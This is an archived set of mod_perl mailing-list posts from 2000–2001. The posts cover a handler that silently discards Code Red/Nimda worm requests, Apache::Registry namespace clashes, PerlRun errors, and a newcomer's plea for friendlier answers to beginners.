Argument OK isn't numeric.= tried changeing it from OK to 200 and
still did not work.
It did get rid of the file not found error.

So I changed the OK to 200 in this version and it does work.
LocationMatch \.(ida|exe)$
SetHandler perl-script
PerlHandler sub { return 200; }
/LocationMatch

I'm guessing this is because  apache::constants have not been loaded at this
point.

Thanks
JM

 David Young wrote:

  FWIW, Apache::CodeRed seemed like a good idea for a while, and then
Nimbda
  showed up, and it was apparent no one was actually doing anything about
the
  infected machines. I got sick of the notifications and the junk in my
error
  log, so I resorted to this handler:
 
LocationMatch \.(ida|exe)$
  SetHandler perl-script
  PerlHandler sub { return OK; }
/LocationMatch


 And the most effective would be to use PerlPostReadRequestHandler
 (or PerlInitHandler, which is an alias to PerlPostReadRequestHandler)

 LocationMatch \.(ida|exe)$
  SetHandler perl-script

 PerlPostReadRequestHandler Apache::DONE

   /LocationMatch

 since it returns at the earliest possible request phase. And you don't
 need the sub {}, just Apache::* will do.

 Apache::DONE tells Apache to immediately jumps out of the request
 loop, log the transaction and close the client connection.  This is
 one way to halt the transaction without generating an error status.

 _
 Stas Bekman JAm_pH  --   Just Another mod_perl Hacker
 http://stason.org/  mod_perl Guide   http://perl.apache.org/guide
 mailto:[EMAIL PROTECTED]  http://ticketmaster.com http://apacheweek.com
 http://singlesheaven.com http://perl.apache.org http://perlmonth.com/





Re: namespace-troubles

2001-10-25 Thread John Michael

Not to beat a dead horse, because this subject is well over.
Sorry, if I offended anyone.
Anyway,  I always get and often see others get:

You obviously have not read the documentation answer.

And wanted to put in my perspective being new to this list and trying to
learn mod_perl.

I love perl and have more than 15 books on the subject.  Here is my list.
Programming Perl
Programming the Perl DBI
Writing Apache Modules
Object Oriented Perl = Damian Conway
Advanced Perl Programming
Perl Cookbook
Perl for System Administration
Regular Expressions
Network Programming with Perl =Lincoln Stein's new book
Perl in a Nutshell
Web Client Programming
Effective Perl Programming
Mastering Aogorithms with Perl
CGI Programming
MySQL  mSWL
Official Guide to Programming with CGI.pm
Learning Perl
Programming Web Graphics
Perl Core Language
Plus the APache Book
and some books that cover Perl and PHP on MySql

I think your name, Parrin is on or around those books somewhere.  I have
seen it before.
I know I have seen Randalls several times.  He is famous for the answer:
Stop limiting the limits. whenever you ask a question about limits on
Apache.  The answer doesn't tell you the answer to your problem.  I know now
not to use it though.

I also have several links to perl sources and yes, the guide.
I have read most of these and or something out of them and some of them more
than once.
I have also read the parts of the guide more than once.
I have been doing this for around 3 or 4 years I guess.
I tried to tackle mod_perl about a year ago, but with no success and am
doing it again with moderate success.
I think it is easy when you know something to write out an answer that you
think everyone else will know.

For instance, Once I had a file locking problem and some one said:
Use a semephore file.
A day later, I finally found out what a semephore file was.
Often when I get an answer, I usually have to go back to the books to find
out what it means or how to use it.
The turnaround on problems can be days, trying every combination under the
sun to see if it works.

When I got the previous answer that said: Don't use -w and to use PerlWarn
On, it took me about 30 minutes to figure out where to put it.  I put it in
the startup.pl file.  Still hoping that was the right place.

Still, when you run into problems with Mod_perl, there are really only a
couple of places to look.
And just because you have read something, doesn't mean that when a problem
arises, the answer will hit you.
I often find myself reading old material with more knowledge than when i
previously read it and now understand things I didn't have a clue about
before.
Even though I have read and used a lot of this information, I can tell by
the answers and talks you have on the list, that I am still pretty much an
amateur.

I think when people ask questions, they have not always just opened up an
email and sent it out without thought.  There is a great fear in that.  You
don't know what kind of answer you will get, whether you will understand it
and have to ask another seemingly stupid question, or get flammed for doing
so and never be able to ask a question again.

I usually think about it for a couple of hours, try every combination I can
think of, and look in every book I think will have something to do with it
before tucking my tale and asking a list.
Yes, sometimes I will ask before spending the time if I feel I don't have
the time to try and find it myself, or have just spent 3 hours trying to
solve another problem.

Obviously, there are either too many sources or not enough. :)  I can't
tell.  Too many places to look sometimes and not enough others.

Sometimes it would be nice to be able to ask stupid questions and get
answers instead of clever indirect put downs.  Maybe, I just read too much
into the emails because of my own insecurities with the language.  IT is
hard to get a feel for text based conversation.

Anyway, I just wanted to put in my two cents and am thinking I might just
get flammed for this as well.
Should I send it?  Sometimes I get this far on emails and just delete them.

Cya and thanks
John Michael


 John Michael wrote:

  I don't know if this will help.  I know very litlle about mod perl, but
most
  of the people on this list don't seem to answer questions from
beginners.


 Hmmm.  You asked some questions that made it sound like you hadn't read
 the documentation, and you stil got 3 answers in 24 hours.  One thing
 you should consider is that not everyone here is in the same time zone.


  I think you might try adding:
  use subs qw(main);
  in the top of your script.
  or instead of
  main() use main()


 That's probably not it.  The difference between mail() and main() is
 that main() circumvents prototypes, as documented in the perlsub man
page.


  If that doesn't work, you will probably need to make the lib a package
and
  import it into your fetch.pl program.


 That probably *is* the answer, and a good programming practice for any

Re: namespace-troubles

2001-10-24 Thread John Michael

I don't know if this will help.  I know very litlle about mod perl, but most
of the people on this list don't seem to answer questions from beginners.
I think you might try adding:
use subs qw(main);
in the top of your script.
or instead of
main() use main()
There are situations where you can't use main() without the  and I think it
has to do with predeclaring the sub which use subs will remedy.  let me know
if this helps.
If that doesn't work, you will probably need to make the lib a package and
import it into your fetch.pl program.
Kindof new to that as well and havn't experimented much with it.

Does anyone know of a news group that answers mod perl questions?
cya
jm


- Original Message -
From: Peter Pilsl [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Tuesday, October 23, 2001 5:48 PM
Subject: namespace-troubles


 I run into deep namespacetroubles I understand onyl vaguely and I cant
workaround:

 I have a script running under mod_perl that is called via two domains.

 www1.domain.at/
 www2.domain.at/sub/

 both of the above addresses lead to the very same script (its the same
 file on the disk, not a copy). When I call the first adress all is
 working fine, but as soon as I call the second adress I get a
 server-error.  Restarting apache and I try the second first: running
 fine, but as soon as I call the first: server-error.

 The log reveals:

 Undefined subroutine Apache::ROOTwww1_2domain_2eat::main called at
 /data/public/stage2/fetch.pl line 9.

 or

 Undefined subroutine
 Apache::ROOTwww2_2edomain_2eat::editeinstieg::main called at
 /data/public/stage2/fetch.pl line 9.

 my script is structured like that:
 fetch.pl:
 require fetch.lib.pl
 main();
 -

 ---fetch.lib.pl:
 sub main{

 do everthing here

 }
 1;
 

 As far I can see, the second call does not load the lib anymore, cause
 it was already loaded on the first call. Unfortunately it was loaded
 to a different namespace, so the script doesnt find it.

 What can I do ? I need this different domains, cause the script-action
 depends on the calling domain.

 The reason why I splitted in script/lib is a document at apache.org
 that recommends this to avoid a nested-sub-problem under mod_perl.

 I wonder if providing the lib-file as module (use instead of require)
 would be a solution, but I guess not.  Can the above problem occure
 with modules too ? If two scripts call the same module, is it only
 loaded on the first call and the second script fails ??

 thnx,
 peter


 --
 mag. peter pilsl

 phone: +43 676 3574035
 fax  : +43 676 3546512
 email: [EMAIL PROTECTED]
 sms  : [EMAIL PROTECTED]

 pgp-key available




Re: Newbie having problems

2001-10-24 Thread John Michael

I have gone ahead and moved the script entirely over to mod perl using
apache::registry and seting PerlWarn to on.  I have repaired the initial
errors and problems that occured and am glad to say that I have my first
mod_perl script totally up and running.  I have not had any errors as of
lately(fingers crossed). Everything seems to be running fine.
Thanks
John michael


- Original Message -
From: Perrin Harkins [EMAIL PROTECTED]
To: John Michael [EMAIL PROTECTED]
Cc: [EMAIL PROTECTED]
Sent: Wednesday, October 24, 2001 2:31 AM
Subject: Re: Newbie having problems


  John Michael wrote:
  I am attempting first to ge them to run correctly under.
  Apache::PerlRum

 Be careful of PerlRum!  It will give you a wicked hangover!

 PerlRun is a quick way to port dirty scripts that you can't take the
 time to fix.  It's the slowest way to run anything in mod_perl, but if
 your script uses lots of globals, imports functions all over the place,
 etc. you may have no choice.

  I had a routine in the beginning of the program to initialze my variable
hash and query param like so:
  ## initialize globals ##
  foreach (keys %VAR){$VAR{$_} = ;}
 
  I did this so that these variables would not propogate to other
instances of the script.
  This was causing the error.
 
  I removed it and added a this small sub:
  sub clean_up {
  undef %VAR;
  Apache::exit();
  }
 
  Is this the correct way to do this or even necessary?

 It should not be necessary.  Unless you have delcared these to be in a
 separate package, PerlRun will clean them up after every request.  Are
 you declaring a package in your script?

  The Apache::exit() function is still causing an error, but the script
runs and works but is evidently not exiting gracefully.

 Why are you needing to exit?  Maybe this is something that you can
 avoid, and improve performance.

  Also, I am running the script in an eval{ } block in order to trap
errors in the $@ variable.
  IS this ok practice in mod-perl?

 The entire script is in an eval block?  You can do that, but if all you
 want is a decent page when something fails, just put up your nice page
 and set it up as the SERVER ERROR page in httpd.conf.

  The scripts run, but sometimes through server errors.
  I am getting the following errors.
 
  [Tue Oct 23 06:57:27 2001] [error] PerlRun: `Not a CODE reference at
  /home/usr1/digital/membersurl/perl/content_manager/handler.pl line
  57.'
 
  [Tue Oct 23 06:57:27 2001] [error] Can't locate object method uri
  via package Apache::PerlRun at
  /usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/PerlRun.pm line 212.

 Things like this are usually the result of using libraries that don't
 declare package names.  Do you pull in a bunch of functions with
 something like 'use mylib.pl' with no package names declared in
 mylib.pl?  There is more discussion about this in the guide.  In fact,
 all of this is in the guide.

 - Perrin




Newbie having problems

2001-10-23 Thread John Michael



Hi
I am new to mod-perl and am trying to migrate some 
pretty large image scripts I have written to mod-perl.
I am attempting first to ge them to run correctly 
under.
Apache::PerlRum
The scripts run, but sometimes through server 
errors.
I am getting the following errors.

[Tue Oct 23 06:57:27 2001] [error] PerlRun: `Not a CODE reference at 
/home/usr1/digital/membersurl/perl/content_manager/handler.pl line 57.'
[Tue Oct 23 06:57:27 2001] [error] Can't locate object method "uri" via 
package "Apache::PerlRun" at 
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/PerlRun.pm line 212.
Here is the code at line 57 in the script I have written handler.pl
assign_values(get_file("vars/variables.info"));
It calls these two subs to load 
variables into the script.
#sub 
get_file {my $file_name = shift;my @array;open (IFH, "$file_name") 
|| error("Cannot open $file_name for get.","$!");@array = 
IFH;close IFH;return @array;}sub 
assign_values {my @array = @_;foreach (@array) {my $name = 
"";my $value = "";chomp;($name, $value) = 
split(/=/);$value =~ tr/+/ /;$value =~ 
s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;$value =~ 
s/!--(.|\n)*--//g;$VAR{$name} = $value;}return 
1;}
I can't find out why I am getting these errors. I can 
usually do an imediate refresh of the browser and the script will run 
ok.
I am trying to get the scripts to run under 
apache::perl.
Would it be easier to migrate straight over to 
apache::registry?
Thanks
John michael



Re: Newbie having problems

2001-10-23 Thread John Michael

I have seen and read through the guide, but will read through it again as
you have suggested.
I do have use stricts in my scripts.

I also get a lot of these things when I run it with the -w option.

;' called at /usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/PerlRun.pm
line 113
 Apache::PerlRun::compile('Apache::PerlRun=HASH(0x8a44a5c)',
'SCALAR(0x885825c)') called at
/usr/lib/perl5/site_perl/5.6.0/i386-linux/Apache/PerlRun.pm line 289
 Apache::PerlRun::handler('Apache=SCALAR(0x8385200)', 137931400,
'Apache::PerlRun', 'Apache=SCALAR(0x8385200)') called at lib/file_ops.pl
line 82
 require 0 called at lib/file_ops.pl line 82
Subroutine check_availability redefined at lib/file_ops.pl line 106.
 require lib/file_ops.pl called at
/home/usr1/digital/membersurl/perl/content_manager/handler.pl line 28
 require 0 called at
/home/usr1/digital/membersurl/perl/content_manager/handler.pl line 20
 eval 'package
Apache::ROOTmembersurl_2ecom::perl::content_manager::handler_2epl;use Apache
qw(exit);
#line 1 /home/usr1/digital/membersurl/perl/content_manager/handler.pl

My error log will fill up fairly quick.  I am also using:
Apache::exit()
with
use Apache qw(exit)
and this seems to be causing errors as well.
Thanks
JM

- Original Message -
From: Ged Haywood [EMAIL PROTECTED]
To: John Michael [EMAIL PROTECTED]
Cc: [EMAIL PROTECTED]
Sent: Tuesday, October 23, 2001 3:07 PM
Subject: Re: Newbie having problems


 Hi there,

 On Tue, 23 Oct 2001, John Michael wrote:

  I am new to mod-perl and am trying to migrate some pretty large
  image scripts I have written to mod-perl.

 Have you come upon the Guide?

 http://perl.apache.org/guide

 It's a fairly weighty document by now but most of what you want will
 be in there.

  Would it be easier to migrate straight over to apache::registry?

 It might be less trouble to start writing handlers.  Apache::Registry
 can be intolerant.  I take it you have use strict; in your scripts?

 73,
 Ged.





RE: newbie having problems

2001-10-23 Thread John Michael



I had a routine in the beginning of the program to 
initialze my variable hash and query param like so:
## initialize 
globals ##foreach (keys 
%VAR){$VAR{$_} = "";}

I did this so that these variables would not 
propogate to other instances of the script.
This was causing the error. 
I removed it and added a this small 
sub:
sub clean_up {undef 
%VAR;Apache::exit();}

Is this the correct way to do this or even 
necessary?
The Apache::exit() function is still causing an 
error, but the script runs andworks but is evidently not exiting 
gracefully.
I am running under apache::perl envir.
Also, I am running the script in an eval{ } block 
in order to trap errors in the $@ variable. 
IS this ok practice in mod-perl?


Thanks
JM



How to unsubscribe.

2001-02-28 Thread John Michael




How to unsubscribe. please
Thanks
John Michael



New to mod perl help

2001-01-23 Thread John Michael



After my earlier attempts to use mod perl I had 
little success, so I have alittle more time, so I thought I would try it 
again. I have a couple ofquestions. I have read through the 
documentation and some of it is unclearsometimes until you really know what 
you are doing.I understand about using strict and vars.I know that the 
modperl script has to go in the httpd/perl folder so thatapache will 
recognize it.I also have modperl installed and setup correctly. The 
test script runs fine.
However, I have about 20 virtual host that each 
all have their own cgi-bins.
If I move the scripts into the httpd/perl folder, 
if I just require themfrom the virtual 
cgi-bins, will they work and how do I pass variables tothese 
scripts.

These are just regular cgi scripts. I just 
wanted to gain the effects of the embedded interpreter and start experimenting 
with the script. Ido have some scripts that would probably benefit 
from them anyway.

I'm just trying to figure out howit all ties 
together.

As an example, I have a script that runs via server 
side include. When ever someone hits the web page with this include, the 
script runs, it keeps the referer, and also routes the user based on this 
referer.
I use the same script on about 40 sites and the 
imformation the script keeps is kept in a seperate folder for each relative to 
where the script iwas called from. 
I call the script with a require statement and 
would like to try and get this thing working with modperl to reduce server 
load.thanks in advance--John 
Michael


Re: Dynamic content that is static

2000-12-22 Thread John Michael

I may be out of my realm here.  I use mostly perl for everything and have
done similar things.  Create a directory tree with the source files.  In the
source files use something like %%INCLUDE_HEADER%% for each part of the page
that changes and have the script use flat text files for the build.  Have
the script traverse the tree of the source files writing the output to the
html directory.  Whenver you update the flat text files, just run the script
from the command line or write it to run from the web with a password.

Mason does something similar I believe.
You can even have the script write in the %%INCLUDES%% dynamically if you
take in the input and assign it like so.
$$Var = $value;  instead of  $input{'key'} = $value;
Then do the substitutions like so.

foreach (@variables){
 $template_txt =~ s/%%$_%%/$$_/gi;
}

Works great for me.  You can then make any change to the source.html page
and the flat text file without having to change the script.
John Michael
Not a mod perl solution, but it will work.


- Original Message -
From: "Dave Rolsky" [EMAIL PROTECTED]
To: "Dave Seidel" [EMAIL PROTECTED]
Cc: [EMAIL PROTECTED]
Sent: Friday, December 22, 2000 9:28 PM
Subject: Re: Dynamic content that is static


 On 22 Dec 2000, Dave Seidel wrote:

  I don't know if either Mason or Embperl offer static compilation, but
Mason has
  caching and I believe that Embperl is getting caching. AxKit is also
very
  cool, and caches.

 Using Mason to generate a set of HTML pages would not be too terribly
 difficult.

 If someone is interested in doing this and needs some guidance I'd be
 happy to help.  It would be nice to include an offline site builder with
 Mason (or as a separate project).

 -dave

 /*==
 www.urth.org
 We await the New Sun
 ==*/





Re: Which is good mailing list for perl developers.

2000-12-13 Thread John Michael Soileau

Excuse me if I make an error.  This is my first post to this list and not
sure how it all fits together exactly.   I just joined the news perl list
you selected to have a look at it and now wonder why you don't put this
mailing list in the same type of setup.  There may be a way to do it that I
don't know about and if there is, info greatly appreciated.  Anyway,  It is
very tough keeping up with all of the emails and subjects.  I now see that I
should have joined with an email address created just for this list so that
I could filter it to a folder somewhere.
Anyway, why doesn't someone put this list on a news feeder.  It would be
much easier to maintain from a users point of view.
John M


- Original Message -
From: "Jeremy Howard" [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Cc: [EMAIL PROTECTED]
Sent: Wednesday, December 13, 2000 6:22 PM
Subject: Re: Which is good mailing list for perl developers.


 bari wrote:
  Hi there,
  i wonder if any one knows which is a good mailing list for perl
developer
 to
  ask questions. i have a question that how do i represent the contents of
 two
  dimensional array in CSV in perl.

 Try Text::CSV from CPAN.

  And i know this is a modperl mailing list.
  i jsut wanted to know a good mailing list for perl developers.
 
 Actually, your best bet is on Usenet, not a mailing list:

   news:comp.lang.perl.misc